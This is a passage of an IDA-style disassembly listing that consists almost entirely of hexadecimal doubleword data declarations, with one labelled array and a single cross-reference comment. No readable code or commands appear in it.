		dd 6098F810h, 0A439C0DEh, 6E5CC35Bh, 71B5F478h,	3BA0E926h
		dd 7CB6A300h, 27E8B050h, 2B7D852Ch, 0A19F324Dh,	5E6E68A4h
		dd 687FCD6Bh, 0DAAEB4FEh, 5DD94AF0h, 907A7D61h,	0B51EB9Ch
		dd 93126B28h, 930BC1BBh, 0DAF0EB97h, 0EFC1013Ch, 0B61B3006h
		dd 80B7652Fh, 0A73257B4h, 0F1017F40h, 5D0881CAh, 0B623DFF7h
		dd 13FD8D40h, 90659963h, 10C5E950h, 6F2EE1A9h, 26B19B34h
		dd 6D81E26Fh, 800EFB11h, 9B419340h, 0D80DC20Dh,	29DE667Dh
		dd 5186FF7h, 0A3B0D3E9h, 7A9316E8h, 0F5C1F2CDh,	44E3F63Ah
		dd 3216ADAEh, 1AA2136h,	8A47DE92h, 0F188702Ch, 7E593D12h
		dd 0C2385FEAh, 4A0A43EAh, 48DD560h, 792E882Fh, 55F202BBh
		dd 1E202237h, 132DD047h, 2CE143E9h, 0B64AFAA2h,	0A6FF0574h
		dd 0ABEC4E77h, 39B13686h, 4ED38131h, 8C455359h,	60489DB8h
		dd 99D0C2C9h, 16F7C9Fh,	2A1E2CF6h, 4C843E42h, 4995D4EAh
		dd 0EED55BD8h, 978B77BDh, 0DD7AB17Eh, 0DE95D816h, 0FF394782h
		dd 2158151Ch, 0A575E9C2h, 9FC13677h, 849F444Ch,	8310E1BDh
		dd 0DB1B5972h, 7E3BC302h, 7EDC2E97h, 586008A0h,	371B170Eh
		dd 0B0E1950Dh, 5D280444h, 889D5061h, 2BD441E8h,	17176D1Fh
		dd 50189DE2h, 7B0C2E81h, 881A4227h, 58140722h, 881713C4h
		dd 0ACB761FAh, 0D2246395h, 3124CECAh, 0F8D442A9h, 0B464857Ch
		dd 0CB89D1FAh, 50371223h, 0F9F752A2h, 0AE26845Fh, 0FBE511B2h
		dd 9BA3F384h, 0BF32A014h
		dd 0F74A00D5h, 0BCE909D8h, 5BD67E66h, 88D903E9h, 3A2538A7h
		dd 1F7ABA98h, 0ADE3B99h, 160AC042h, 3A4F51Ah, 13BCBC02h
		dd 0E50CDDF7h, 0FEDC9C4h, 2BFC64B7h, 27C8E465h,	0DF1F73C6h
		dd 0DC590E2Dh, 10DBE863h, 62B8000Dh, 2D77F96Ch,	9408007Ch
		dd 25D0F71Fh, 991F2B0Ch, 3F5F4041h, 68EDEB02h, 5D9AF520h
		dd 0E916D816h, 7389D618h, 0C2F2F801h, 0E2EA8000h, 3E5A56F0h
		dd 0B48B89EDh, 4EFD8DC2h, 3F4E9D33h, 0E0383509h, 0E405D7Eh
		dd 5204370Fh, 6BC0E91Fh, 426A3BE5h, 39C4683Dh, 27FCC7Fh
		dd 0EF933ECh, 0C35898E9h, 2D4E049Dh, 4CB85FAFh,	0BB441827h
		dd 0F55DDF0Ch, 40B2C635h, 0B3975FA6h, 0A8084B49h, 0D143B12Bh
		dd 87C2BE05h, 16D25556h, 2FC835A0h, 0A21EAA27h,	861FE779h
		dd 10C0297h, 48461C94h,	2A15CDE9h, 0F129FD44h, 2EF932BEh
		dd 52148DF4h, 151801F0h, 1CBA743Ch, 72890BA5h, 0BB52F705h
		dd 2C3FCC9Dh, 3E92172Dh, 460EF9BFh, 801C1DA3h, 0F3CF4DC3h
		dd 0D0636968h, 31BB073Bh, 0A507D66Ch, 308AB078h, 7B34D377h
		dd 0BE0022D2h, 67B75155h, 29CA0581h, 834D341Dh,	0E5E1EAE7h
		dd 3D056008h, 0FAA2D18h, 304D5D18h, 120C5B9Ch, 0F528B9F3h
		dd 4E24A789h, 0BD45FB57h, 0E1085692h, 0D4FA6180h, 1B8EA84Eh
		dd 5C096CAFh, 0B33A33C7h, 89FBE2EDh, 9616C556h,	0EC9EC458h
		dd 0ABE210A9h, 9905AC2Dh, 0EBFDC2E4h, 0C1077A75h, 6ED8F164h
		dd 2AA9F9C1h, 20A8A912h, 0A858FAA3h, 3AE95A46h,	0BBA8E3B1h
		dd 6DC7139Dh, 113F8F2h,	91508CDh, 4BD98706h, 33829D06h
		dd 5804CE51h, 683EDCFFh, 0D327B524h, 62920694h,	715DEA8Eh
		dd 6C1349B2h, 4E228C42h, 0C85604BFh, 0DFDDFBF6h, 6C40716Eh
		dd 68C3836Fh, 0AC781354h, 0A3CBBBh, 7C6AB8F6h, 2F28926h
		dd 0E955505Eh, 0C79BAE9Dh, 0F4379CD3h, 750976CFh, 0F9FF2C66h
		dd 0BAED3407h, 0D1F64B9Fh, 1583839Ch, 38A1685Ah, 2F6382D1h
		dd 1F09B2CCh, 572FBB3Bh, 5D1C4E2Ah, 8DC226C9h, 0F0DCA083h
		dd 81D5D377h, 0D0011FADh, 0D4C2F6D2h, 9330F729h, 2A4B2D68h
		dd 17C8B58Ch, 0F41FFE41h, 27CBB86h, 0B8E9440Eh,	64FE17CCh
		dd 0EEBB1756h, 2482DA39h, 0C780FFB4h, 7234E7E0h, 948BED99h
		dd 0A5BFD3D7h, 569D38F8h, 4A5E720Eh, 887661C0h,	3F0DB80Bh
		dd 135C78F9h, 11DEC302h, 45C10FD4h, 45BA00B8h, 2D4A2710h
		dd 0A01C2075h, 0BFB759BEh, 0F90A0452h, 91465FE9h, 2D5EF080h
		dd 590A1E4Fh, 7A135315h, 0B88A90FFh, 4E5F1843h,	80D261F1h
		dd 0E1787293h, 4584C19Ah, 7B404A70h, 80001F5h, 0B14E21E9h
		dd 80020221h, 40F7A6F2h, 96CAFE71h, 51505850h, 0B8EECFA6h
		dd 33552A00h, 5E02057Ch, 56390E63h, 22C4FCBEh, 0BFB5BE6Ah
		dd 0F9154F41h, 1B13EC7Dh, 0C565AED6h, 4BC8EB01h, 43A357Eh
		dd 101F48D2h, 97EA8012h, 0B6E3C4Ah, 0A1E9C201h,	0BA388C72h
		dd 1E34162Eh, 5A674BBBh, 1655206Ah, 844F3042h, 5BA0B90Ah
		dd 310A6C09h, 862286CFh, 0FCEFAA7h, 8972974Dh, 8B89E9B2h
		dd 7F54E2B0h, 0A4F634E6h, 12A36E59h, 2EA22FF1h,	0B1B2FC92h
		dd 0DA6CE7E9h, 534F9F76h, 1FBC8F17h, 0C5D7A9B2h, 0D4880B2Ah
		dd 0F80DD705h, 54A74EB4h, 0D2E1B95Ah, 365739FAh, 5BB65C6Ah
		dd 0CEF522ECh, 1C8A44DAh, 0CA00DBAh, 0E23067E7h, 64B53C7Eh
		dd 30FB422h, 2F3E3618h,	0F49B6001h, 0F5892D7Dh,	93D8B3Eh
		dd 590123C1h, 18708920h, 0FC2D0ED3h, 0FE765879h, 2699F781h
		dd 1701DE5Dh, 0A2A840F4h, 20180E48h, 37C1E3BFh,	178F1B1Dh
		dd 0C98305BEh, 1BB3954h, 3ECA6264h, 0EAF2CF29h,	99FD0889h
		dd 1D6A2A6Dh, 5975F245h, 0E2288287h, 807D48CDh,	2FC9817Eh
		dd 0C270970Dh, 5AC9F85Dh, 6E42B0h, 5D5FEC3Bh, 6853C331h
		dd 2B42F724h, 2DBB5665h, 10AB7988h, 29481F9Dh, 0AD42C125h
		dd 330A2055h, 0BD1BE01Ch, 0BB0057C2h, 2207677Ah, 0E5A1015Ah
		dd 0E95F0800h, 0C81361BFh, 0CCA7E680h, 0ABF602F6h, 13766049h
		dd 27CC15BBh, 0B00B4CB6h, 0FC07BE5Ah, 7F2916E9h, 95D34692h
		dd 11524B0Eh, 9C1E2101h, 4D32936h, 495A0809h, 186C107Bh
		dd 813BB85Bh, 141C7FE8h, 8F5246F9h, 661F6188h, 0B1343C25h
		dd 6E4D1E15h, 8D656631h, 3E48CCC1h, 0E5209E87h,	9558E230h
		dd 0B38EF4FEh, 87DC0B29h, 51EB8820h, 17FCACB9h,	5A61DC3Dh
		dd 165F292Fh, 545625F1h, 0F5D20B56h, 0A29EBDC2h, 70B0F7CBh
		dd 0C62D05CDh, 626CD319h, 83C48FA2h, 85E95712h,	62ACDFC2h
		dd 0FA727748h, 8213D45Ah, 89A4F3F8h, 0E8B67F02h, 41F8B880h
		dd 530B6799h, 0A3C13FE9h, 2F20997h, 4114CAD8h, 4A4038F3h
		dd 5518227Bh, 0C21F012Dh, 0D6021D39h, 3084BC57h, 0A1052A94h
		dd 63B12A4Bh, 1702F62Ah, 9466CE2Eh, 0B43F90A8h,	0DD615290h
		dd 8FD4282Eh, 0DC53295Eh, 0B5967DFh, 0A3123982h, 6425BA00h
		dd 3D6B0C2h, 0D85675EAh, 0B19BE928h, 0B9F3EA84h, 61B3B74Eh
		dd 514422CAh, 54A66A20h, 3CF7834Fh, 56AF93D0h, 0DBE7DF48h
		dd 18DF1A16h, 94486B40h, 5FFA31B9h, 59FFD5Fh, 1E883221h
		dd 8805E982h, 3902A007h, 4311EB71h, 165DD912h, 59E5D671h
		dd 65F55F81h, 25572151h, 0A8ADFBE0h, 7D9976DBh,	2F33CC2h
		dd 6C3F888h, 0A3B7C6A3h, 0D8D2585Ah, 96567A41h,	3DADC75Dh
		dd 0D9F1BF7Fh, 0D88AE9E2h, 5455256Eh, 0D376CF7Ch, 95E2B341h
		dd 0E9EAC189h, 0DA50FC5Ch, 0E5CD881Dh, 0D74575F2h, 405BE989h
		dd 27685FE0h, 38D66B15h, 9F665E51h, 28172C07h, 0AB96CED8h
		dd 9EFF8513h, 25644C4Ch, 3CE5263h, 0F7EAD107h, 7EEA4AD2h
		dd 0E601F6F9h, 5E4F2A2Fh, 4A9EF27Fh, 922DE7B7h,	0AB5B9F84h
		dd 680CC8F3h, 86D33F61h, 72316540h, 891F1CDh, 3E084587h
		dd 0D27E83E2h, 0F1FC0921h, 0CF09A7Dh, 278057A4h, 16D52DEEh
		dd 31F3012h, 1C49CAFBh,	9122A724h, 2837EB02h, 2DF2DCFAh
		dd 680485F3h, 0D8AB321Fh, 255BFFB8h, 5417898Ah,	0D1427159h
		dd 5FC8775Ah, 0FFE23D84h, 0F9DB22C5h, 0FBED4A3Ch, 0DCEB800Fh
		dd 7E6328CBh, 68BE624Ah, 0EB4F700Fh, 9F82F598h,	4E5D278Bh
		dd 0A00EB43Ah, 43025080h, 0BB63409Eh, 0B511702h, 822D6874h
		dd 49EAE0Fh, 2CB8AD58h,	48B85525h, 662E0234h, 0DA422868h
		dd 6290EEA5h, 7BF03F6Fh, 80C7FE00h, 904970EFh, 2CF5E1D6h
		dd 795A66D4h, 0ED681728h, 0B276300Fh, 0E239C027h, 3EA9608h
		dd 99E5B8F0h, 6C688580h, 6167AB07h, 18DC48A0h, 94050558h
		dd 0AB168E34h, 0E1E93602h, 452751E0h, 0E59C31E2h, 0EDBC3BF9h
		dd 0F6BA8BDEh, 16B89FC4h, 17824DB7h, 5AB8C0D4h,	0A10BB151h
		dd 8DF5F180h, 520DD05h,	9A3A146Fh, 0F020A433h, 0B1250D98h
		dd 4309F20Ah, 0E4125037h, 70226D4h, 799655FDh, 0A84E23B2h
		dd 6642EACBh, 5B2ED5FFh, 0D109C888h, 2BC80E0h, 0FA613CFCh
		dd 389C6B77h, 0F736605Fh, 89799FC7h, 791CBB43h,	0E9D916D5h
		dd 0A032BC9Bh, 0CE665A68h, 0EB535FF9h, 0ADECCF25h, 0DAF465DDh
		dd 46E7D75Ah, 0D52F0922h, 0EB8E545Ah, 2042D65Ch, 0CA10DDD3h
		dd 848E7C1h, 0C8192F8Ah, 0B7DCA4A0h, 0E9A03279h, 49685817h
		dd 0E03460BBh, 0EAB08F79h, 201EBD00h, 5045612Fh, 1C7E16B8h
		dd 0FA6212C3h, 3ECD9107h, 1EB03F44h, 0C1272FCCh, 0E300D3F6h
		dd 9EB0B6Ah, 9E5D50E9h,	0A7422AD3h, 23780097h, 0EBC11A38h
		dd 0C225E902h, 0C5246BEAh, 0B47EDAE5h, 0C7AB3098h, 0B2E3EF5Fh
		dd 0D018FE96h, 9C11854Ch
		dd 206D821Eh, 8AFEED31h, 1E01A526h, 89A8A4D3h, 1F01A445h
		dd 5980151h, 4A9E52Eh, 7C3CCB08h, 0E422F960h, 0A91EAB19h
		dd 0E42C5FA4h, 0E9855F59h, 8D17D599h, 2A60E961h, 53E3A14h
		dd 28E319EBh, 3E1FAB00h, 4D3144C2h, 8790B9C6h, 0B9D0012Dh
		dd 729D2116h, 4EFA01FBh, 0C25216E9h, 28606256h,	23B7E2Ch
		dd 0E955DFF7h, 20DF5FD6h, 1317621Dh, 1A35BE45h,	83C10F66h
		dd 8F3379C1h, 92A3F357h, 407DBA10h, 2A1E1DDBh, 0FACC461Fh
		dd 39501662h, 264CF088h, 25C87D75h, 1451E6A0h, 7B3CCE6Ah
		dd 3A02F09Fh, 20DA1828h, 0C021AB30h, 91D11F50h,	54454300h
		dd 0B1D712Dh, 0E829145Ch, 5D010705h, 0FDED9035h, 0D8097FB4h
		dd 1283DC01h, 0B50BFA4Fh, 5600DF47h, 2DC00A9Dh,	0B22CA07Dh
		dd 58108D06h, 30CEA5Ah,	3CD2063Ch, 0CA02DAF6h, 9093E913h
		dd 0C04CFC69h, 317F6812h, 0F2815B00h, 409A20ADh, 5AD32C21h
		dd 0BE4314C6h, 7F5D3903h, 7A054F4Bh, 6E286C8Ah,	4605B9B9h
		dd 0E886D096h, 0D652166Dh, 17CF7ACCh, 119A371h,	6FEA3DC6h
		dd 0A6B74033h, 6C5AC56Bh, 81F10ABh, 27A75F24h, 1069BF2h
		dd 0E517E9DAh, 4FD77755h, 565600C1h, 1E087768h,	365E1F30h
		dd 2D716278h, 2C575248h, 19B9A293h, 0CC73FB6Ah,	829FC571h
		dd 835413CBh, 0F8E07526h, 7B78D705h, 2D1476DEh,	5E097C07h
		dd 55291C1Dh, 609D686Ch, 82CB370Dh, 0B3028950h,	89344D76h
		dd 0EFA641F1h, 3D0B3E36h, 0EE00FA11h, 3440FE1h,	0EBA7748h
		dd 0F9316370h, 3A8FF0Ch, 6A8B02DFh, 0CD891BD2h,	310EB870h
		dd 846BBA5Ch, 1EA5EF5h,	0E4532677h, 69927AFAh, 0B82E0CF3h
		dd 64295130h, 47F23E6h,	48E93B80h, 774909F6h, 2218C760h
		dd 6840B105h, 0A5D86057h, 0F4BA414Dh, 0E5136396h, 0F9165828h
		dd 0C144E8C0h, 0E92F0BF7h, 0A2798936h, 3B6BF183h, 0D067E965h
		dd 4A80B33Fh, 0D901FCF8h, 0BF28E161h, 6FF6CCE6h, 0DF06314Eh
		dd 625866E7h, 52110C1Ah, 0C5C73BE3h, 0A1CAC103h, 0DC59029Dh
		dd 70888940h, 0C11F5FCEh, 119603E2h, 309DA55Ch,	25A47ADFh
		dd 9F89CD9Fh, 0BD9C5FDAh, 0C2DD5A0h, 0C114DA01h, 95E907EDh
		dd 0EA4C402Eh, 73D03DF9h, 1C09DBFDh, 570106CAh,	4881DA9Ah
		dd 202F67A2h, 0D36C7ECDh, 2F68A279h, 0C7466454h, 7015602h
		dd 0F0CCE977h, 0F32D05CBh, 0AF45D23Eh, 5B39B4D8h, 4A9DB3B8h
		dd 93FE405h, 9CC0C6h, 5FB32B52h, 61E9D689h, 0C243EB9Dh
		dd 893A9B4Eh, 0B340425Ch, 50344784h, 3BA0CD50h,	0EC4A6207h
		dd 0B6E612DEh, 0E20402FDh, 8063D232h, 2DCD2274h, 0EAB19C5Fh
		dd 2F6BD93Bh, 542288A0h, 0CF2A65Ch, 1F43512Bh, 46180E0Ch
		dd 3CB81D6Dh, 0AAF9B886h, 164AFDEDh, 0C588A5C0h, 44CC99Dh
		dd 896DE101h, 775DEEC1h, 0B85A7949h, 8BA15E9Ch,	95CA68F0h
		dd 3FB0EED2h, 1670DD82h, 8C6F197h, 5F13C376h, 123152AEh
		dd 2BD9E5D5h, 9A13B1E2h, 3468FE21h, 2E3E30E9h, 75E8F5E5h
		dd 0D16BEB0Fh, 5F811CEDh, 8935FDB2h, 7BFAA441h,	165BCE6Bh
		dd 0BFF794F5h, 110BBD5Eh, 0B25C2A1Eh, 0BE664203h, 0A0F15A63h
		dd 4E438870h, 41762535h, 0EC5C996h, 59278FBFh, 0E90D042Ah
		dd 15D19E78h, 7FCD7DFDh, 9D74DBE8h, 0A6241579h,	0F5E47909h
		dd 5F2AA094h, 5398C039h, 5C400B58h, 0F8680285h,	41489441h
		dd 5D69FF04h, 0EF6C902h, 1E606519h, 532D2F35h, 2DD6C26h
		dd 748001B3h, 0AD40E8C1h, 6092FDB1h, 19053E25h,	406BF992h
		dd 5E29C50Eh, 589FC886h, 0B43D4BA9h, 1132C383h,	75080858h
		dd 1B6ECC22h, 0CD360009h, 513001DCh, 6E418278h,	0DF403F2Eh
		dd 0F9A704D3h, 62A07021h, 0BB5E4A08h, 0B73F4D06h, 0FD4F281h
		dd 291AE023h, 3754A98h,	244E83Fh, 712B04CEh, 0AFC2604Dh
		dd 0F892796Bh, 8F101F6h, 0B5E91E70h, 0D0D352F2h, 5996761h
		dd 57C22A82h, 5F9809DAh, 23CAA0Bh, 0EEA70017h, 7D5A9533h
		dd 0C0584F50h, 0DDF75F96h, 0DCC0D5E4h, 7AA97441h, 0C616D94Dh
		dd 7BBFE4DAh, 84D54297h, 85A85228h, 351278C0h, 0FD30E93Eh
		dd 1CC3DF21h, 34972E7Ah, 7FE9C2DFh, 82908E70h, 0B3207290h
		dd 500092FDh, 0BB30C450h, 63C88FE3h, 2CC03C4Ch,	62173E18h
		dd 255E100Ch, 967D61B8h, 9553BFEDh, 56730503h, 0CC38044Eh
		dd 0C4267C18h, 0B8CF9074h, 0C52541A1h, 8C62E008h, 79500118h
		dd 141B7735h, 26B06B1Ah, 2DFCE8B8h, 610194FBh, 92D219E9h
		dd 88AA5C6Eh, 949CB507h, 5A015712h, 12737641h, 345A5830h
		dd 0F1143BDh, 0D1E00EAEh, 0E9FD297Ch, 0B530259h, 575BD901h
		dd 2A03196h, 0BB2F6CC0h, 279FFE49h, 870A22DAh, 0BE4BBF5Fh
		dd 0E5042A03h, 3BF3B06Ch, 20EB2F03h, 360C44F2h,	1C4DC66Dh
		dd 862C18ABh, 5CD40CAEh, 0ED60FD2Eh, 0C27D76AFh, 0E562A36h
		dd 0F6E46EEFh, 8D201F9h, 290E9EE1h, 0B5BFE4DFh,	673F61CFh
		dd 0E1B4344Ah, 26606B91h, 387E1649h, 0DAE04372h, 3736E5CBh
		dd 0E9156079h, 4F977873h, 12D7A1E0h, 0A306B168h, 0D82FD7h
		dd 91055972h, 48642729h, 0C72D3F45h, 0B147B4CFh, 16B57981h
		dd 1A94B09h, 0BD52DCD2h, 0D5D3009h, 3E0B8279h, 0D1DDC066h
		dd 594EB6E5h, 49D72ED3h, 0E02F9060h, 8F6B83Dh, 4A035385h
		dd 50103838h, 0B0EEC8F7h, 40BEEC5Bh, 6CD8C516h,	99FACC31h
		dd 5EB3C097h, 0EBB80050h, 0D6F1C34h, 0D07E3A2Eh, 0AD60E914h
		dd 0F68E0C9h, 3093CB3Eh, 6A5215Ch, 0F40AFB02h, 0E9055BB3h
		dd 0C02E0796h, 736E04E3h, 0A5C3BF02h, 2C1E4030h, 0D7E92FEDh
		dd 0DF56B6A9h, 0E5392F69h, 0CBBAF12Ah, 0BCE84BDCh, 0D441FBD2h
		dd 57A26853h, 56026A66h, 5A764C37h, 15A40E7Eh, 0F9019202h
		dd 4349E016h, 2C8D2603h, 11F02F6Ch, 20654548h, 0FF5F163Fh
		dd 0C84C3377h, 9FDA194Ah, 0E1B61861h, 719170F6h, 1741885Eh
		dd 6ED99FCAh, 0DDA0DDECh, 0B370A717h, 0BD2171h,	0F1DF219h
		dd 685B8AAh, 0C26FA2EAh, 10C0BE74h, 0DE18D173h,	0B7E59F29h
		dd 22E302BBh, 0E176BB6Dh, 178127AFh, 4C419CC1h,	58C99674h
		dd 1F1052A6h, 0D85B27DBh, 2C314C4Bh, 94CCAC4Bh,	24C45E90h
		dd 2C441E8h, 98B201BFh
dword_4F0044	dd 0CAC9C2FEh, 0A2FD5EDh, 588C5E62h, 3B13BBBAh,	48F219A6h
					; DATA XREF: ___:00437A34o
		dd 11477C2h, 7283C40Eh,	0A7133FC5h, 17EF8FAAh, 4F57F7E9h
		dd 29213E8Ch, 0ED91C4Fh, 0E6DDC97Ch, 0BE7F2DFDh, 0A75E97B1h
		dd 7F48001h, 0E028E320h, 0E9C3FEA0h, 7208742Dh,	0F8EB0151h
		dd 295B4A3Bh, 0F5086AFBh, 8A0114F7h, 419A432Eh,	0FF1149EFh
		dd 0D2F7D69Fh, 997D0882h, 6E112985h, 0B0648010h, 0F6C8FE80h
		dd 0AE04DDD0h, 90490836h, 53C1080Ah, 0E9D9F6E0h, 1C80B5A7h
		dd 0B4189ABFh, 0EA053598h, 0D6E7E77h, 61B78401h, 0D46F6891h
		dd 1C081A58h, 1A72140Bh, 0FEED1820h, 3E38FB29h,	466BC9C1h
		dd 9DDE4038h, 29608D04h, 6235E1D2h, 5C317C0Fh, 0C47EE65Dh
		dd 0C34AD818h, 0FDE50167h, 0C29A2D1Eh, 0A4EE7DB1h, 5ECA0444h
		dd 5B738BBDh, 666D9729h, 0DB801048h, 0C6F4850Fh, 0A024D3h
		dd 0B1B934h, 4B2DC5F3h,	0CDB06847h, 3A0F47A9h, 0EFBBEE00h
		dd 0B044CD4Fh, 2E659779h, 3DC76884h, 423839BFh,	0B60239C3h
		dd 0D69A4112h, 1634BD00h, 0B9217D01h, 364B3E7Bh, 5DA9256h
		dd 2EDE08BBh, 9CE20629h, 8798AB2Fh, 0C926312h, 0E081A8B8h
		dd 2B079B6Dh, 0E24BFDE8h, 0B1E9C272h, 886BFC0Bh, 0C2825905h
		dd 40C0080Ah, 51EA33h, 0ED3E31B9h, 2E1C130h, 0BB624160h
		dd 0CFB2F4F0h, 0A544A730h, 40E6B918h, 0E9175908h, 4A900B55h
		dd 5AA457C7h, 72FBB002h, 665E309Ah, 0B4A11BE9h,	0C7287E8Dh
		dd 0CD645E9Ah, 4207E491h, 0B8EE29C0h, 5DEB71B9h, 0C0C43956h
		dd 2CF6FFE1h, 0C3685001h, 604F457Fh, 7941BC2Dh,	952C55ECh
		dd 13C0E09Bh, 0E91B6680h, 0DC258AD2h, 0AD6E66A1h, 0F91AF406h
		dd 5980037h, 981F403Ch,	0F0EA0687h, 1A436C50h, 1709F23Ch
		dd 0F71F21F8h, 2F43F7DDh, 0DA317632h, 1829DC5Fh, 9FBBC8DFh
		dd 54263F13h, 407DA7ACh, 0C5BF5F1Eh, 1C0E8019h,	0DCE9728Eh
		dd 0FD2F89BFh, 0BC27D018h, 9D5D5480h, 0E9E10079h, 1787193Bh
		dd 816A3CEBh, 61F30161h, 0AF0814D2h, 0B219DF04h, 0BCD7F705h
		dd 0EC15C6Dh, 0DE6CA051h, 2DCED540h, 4BF6E9B4h,	0D86BF9FDh
		dd 2703AD54h, 905F4851h, 12C529EDh, 2831D6E9h, 1C2D880Ch
		dd 62AEF187h, 71DFBBB8h, 1804A73Dh, 0BF0E805h, 3E3C1h
		dd 0C3154E94h, 3A199416h, 222D6C85h, 9881AF2Eh,	3B58CD5Fh
		dd 40E72568h, 0A04A0AD3h, 9007A100h, 6408E96Fh,	546E95D0h
		dd 1B270BA6h, 828E7705h, 1F666382h, 2B5012C1h, 0F54D0C0h
		dd 0E9091260h, 0DA844Ch, 80A691A0h, 0FE502187h,	846FC6FAh
		dd 0F201A452h, 0D295A6BFh, 8F5BA3ACh, 24E0492Dh, 20389BB5h
		dd 0AEBD07C0h, 0A5774829h, 9F60BAF8h, 9401B668h, 0D796629Dh
		dd 0C113B2F7h, 57C2D917h, 21EB64F1h, 0CA09E922h, 210D223Eh
		dd 0ACD0C5D7h, 0A02E4CEFh, 64EF3D9Eh, 99F45022h, 2F77BE95h
		dd 0C80B209h, 383F451Bh, 1BBC425Ah, 1544B574h, 0E91F0462h
		dd 3487048h, 5846852h, 6D96CCEh, 0DE113913h, 92D6B6D7h
		dd 8DB00F7Ch, 0C8E950ABh, 0B9B04h, 7B932558h, 35470FEDh
		dd 71C91B01h, 0B1C73BE3h, 0F4221A0Eh, 26127DC4h, 29B0312Fh
		dd 0C0BB92A6h, 1CC4052Bh, 0F2FB2316h, 13DE1DCh,	65140267h
		dd 0A1FC900Dh, 0B3C9038h, 41345D7Bh, 0D0BF6EF0h, 65FD0EB1h
		dd 0A8A02977h, 90CCA38h, 0E53E0795h, 4A593901h,	0B6850429h
		dd 0D7DFF83Bh, 2D0231A9h, 3C9129E2h, 7C088FFh, 68575B01h
		dd 8E3647A9h, 0B6055F8Bh, 7DDFF18Eh, 0CECA10ADh, 4026543Fh
		dd 15E85FCh, 30AB01D9h,	2A367C6Fh, 0E18BEDA9h, 932D53FCh
		dd 27D9C862h, 0E94816B9h, 25BAACC4h, 94CB1658h,	283C02B7h
		dd 627D7AAAh, 3AEC774Ah, 364E7E04h, 44EF5927h, 16E53E3Dh
		dd 4138F142h, 0DF8A49B9h, 0C7011989h, 0BAACCE55h, 0D2F0176h
		dd 0CA814629h, 7A19D9D6h, 11EAC82h, 0A880CB28h,	0AA2C5D58h
		dd 3409E2Dh, 2D09307Ch,	0DC18E801h, 9E3DBB53h, 21AD12h
		dd 347C05E2h, 104462A0h, 0B0F0A9E9h, 52B8DEFEh,	97CAF607h
		dd 68E2BDC1h, 0A5B800D4h, 514B5A23h, 3D31EEE1h,	410A81E3h
		dd 529BCD2Fh, 1CC408D5h, 9DB90B20h, 0C743E641h,	0F4CDAC02h
		dd 0D7316E80h, 75D0204h, 9D74D1F6h, 0AAEC15D4h,	41FA1118h
		dd 0E39F5BDAh, 5AE47011h, 93C1A056h, 67991726h,	853CF10Bh
		dd 4FE1F8Bh, 207CDB0h, 7420C4B7h, 85B203CDh, 0CF99504h
		dd 0C42B7CFBh, 8213C173h, 9E08C0BCh, 3F31D807h,	165B0117h
		dd 0C15B5E1Eh, 6834A6E3h, 0D7FD932Ch, 2498984h,	0AB673268h
		dd 30F1403Ah, 0EB2285Ah, 7C350BDh, 9BFB34E9h, 62498085h
		dd 2BA7321h, 1EE1B180h,	33D38924h, 992D6480h, 0C0DF31FBh
		dd 6020F748h, 0DB9D1C96h, 0D7862013h, 0BE70EF54h, 0B5E2685Ah
		dd 0EF5F3D8Bh, 0E95C8250h, 65DDB22Ah, 542D3ED2h, 56B905h
		dd 0F377829Eh, 0DE7E890Ah, 0B1AA8C79h, 2F7195DDh, 0E9E2C154h
		dd 1CE8FF16h, 6E126CBDh, 98B1366h, 4C0D8410h, 8CEBB40Ah
		dd 0BB32E9E1h, 57FA3926h, 3831BC19h, 0FB2C4A92h, 0DCEF31E9h
		dd 0CAD68786h, 46987FEh, 3EDBEECh, 8599607h, 6D9C9F3h
		dd 0C1BBB542h, 3A75EED5h, 90407D38h, 0B9F0C007h, 22677B1Ch
		dd 1562ECF4h, 0CB7667Bh, 652CA7C6h, 0C60048ABh,	66B7164h
		dd 35D231E9h, 2C91F181h, 0E8D816E5h, 0AC6F3BB3h, 1053C62h
		dd 242B5FEh, 6232F470h,	0A50F9328h, 0DC986F6Eh,	0BB1B4022h
		dd 0EB3D4509h, 45A77F0Bh, 53D1E2E4h, 0F026EBDDh, 4E20D93Ch
		dd 0D6DA0C5h, 0D40F351Eh, 3B98E944h, 0E4162514h, 0B72FA8DAh
		dd 140C12D3h, 9360EDD1h, 0C3FE3479h, 2414F404h,	0E1DB0381h
		dd 992E082Fh, 2E3A840Bh, 28ABEF88h, 0E73ED05Ah,	80029DC0h
		dd 0CFFEA841h, 0C7DCD7F6h, 730404BAh, 0BBDAF9E9h, 0E62AC1E5h
		dd 0F8522E63h, 5720F31Ah, 0EA0907C0h, 645B78F4h, 0E9010395h
		dd 610856B7h, 7C5C8940h, 3A445C71h, 38D5DC25h, 0E0ACB6AEh
		dd 4E2790F0h, 2F23E860h, 0A7B5EF5Eh, 60258B16h,	25932045h
		dd 0BD12BF6Eh, 575E4B60h, 449C5898h, 0AF22752Dh, 0BF03B636h
		dd 4B73F1BBh, 0D6A7453Fh, 0EA3C745Ah, 42B82A44h, 0A79D63E2h
		dd 0FDA1905Dh, 2C31094Eh, 0AF85DAF7h, 2C91CA03h, 6D89FA54h
		dd 0CE475CEh, 0ABB6C14Ah, 2376BE92h, 0D0CF8A93h, 2BF49DF8h
		dd 55DCF562h, 0F81F817Bh, 54F01816h, 0B0C27288h, 0E1C54E42h
		dd 1FF82EF5h, 742949B1h, 4CBD5D44h, 25A9321Eh, 62D58F0Bh
		dd 9A3CD59Bh, 539D1CE8h, 1E4AAFCCh, 97F93082h, 1371E577h
		dd 848B5338h, 0B7B001F8h, 0F87A167Dh, 659DD781h, 784604CAh
		dd 54B1EA1Ch, 9FC00704h, 40031FF6h, 1B7D7F6Eh, 0B3E93B5Fh
		dd 6C3A1507h, 1D41570Bh, 0F3D6F54Ah, 9D6DDDAh, 0C708549h
		dd 0DB9731BEh, 3C843279h, 509025FFh, 0CBC5B42Eh, 913794D8h
		dd 6F60B1BCh, 0D403C52Dh, 710F5C80h, 4D1FCFFBh,	21CDA36Ah
		dd 0AD982A25h, 0C0B80BB0h, 897708E0h, 0F014020Ch, 9818E388h
		dd 72045AD5h, 13487012h, 0A03FE9E8h, 0BC04BEB0h, 29267E10h
		dd 9F50F0ABh, 7D75B52Dh, 0E95DC900h, 0A491FC51h, 163BBF00h
		dd 0BC781B6h, 36115B46h, 0CFE688h, 3F350953h, 0A227E945h
		dd 9D9AD5C8h, 0BDF7A84h, 0C27BDE59h, 0B900A2D9h, 500612F8h
		dd 18F5C539h, 0C161C79h, 891A3435h, 61942966h, 5EB1DD70h
		dd 8B4C640Ch, 3E3C13Eh,	0C822CB07h, 60F70F97h, 7FD598D3h
		dd 0F09D6109h, 31503BDh, 26E92C5Fh, 0F9BA2EDh, 0BD55575Dh
		dd 80C78309h, 80A4F74Bh
